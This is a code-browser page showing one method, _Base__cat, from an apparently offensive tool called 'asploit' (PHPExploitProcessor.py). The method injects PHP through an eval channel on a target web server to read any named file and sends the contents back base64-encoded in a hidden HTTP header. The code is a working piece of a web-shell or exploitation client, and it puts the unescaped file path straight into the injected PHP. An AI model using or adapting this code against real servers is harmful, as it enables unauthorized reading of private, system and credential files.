MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__cat

Method _Base__cat

src/PHPExploitProcessor.py:169–183  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

167 @brief See base class for details.
168 """
169 def _Base__cat(self, options: str):
170 if len(options) == 0:
171 raise CommandException("Specify a file to print.")
172 out = self.__eval(
173 f"if(!file_exists('{options}')){{"
174 f"header('{self.header}: RmlsZSBkb2VzIG5vdCBleGlzdC4=');"
175 f"exit();}}"
176 f"$f=fopen('{options}','r');"
177 f"if(!$f){{ header('{self.header}: Q291bGQgbm90IG9wZW4gZmlsZS4=');"
178 f"exit();}}"
179 f"header('{self.header}: ' . "
180 f"base64_encode(fread($f,filesize('{options}'))));"
181 f"fclose($f);"
182 )
183 print(base64.b64decode(out).decode())
184
185 """
186 @brief See base class for details.

Callers

nothing calls this directly

Calls 2

__evalMethod · 0.95
CommandExceptionClass · 0.85

Tested by

no test coverage detected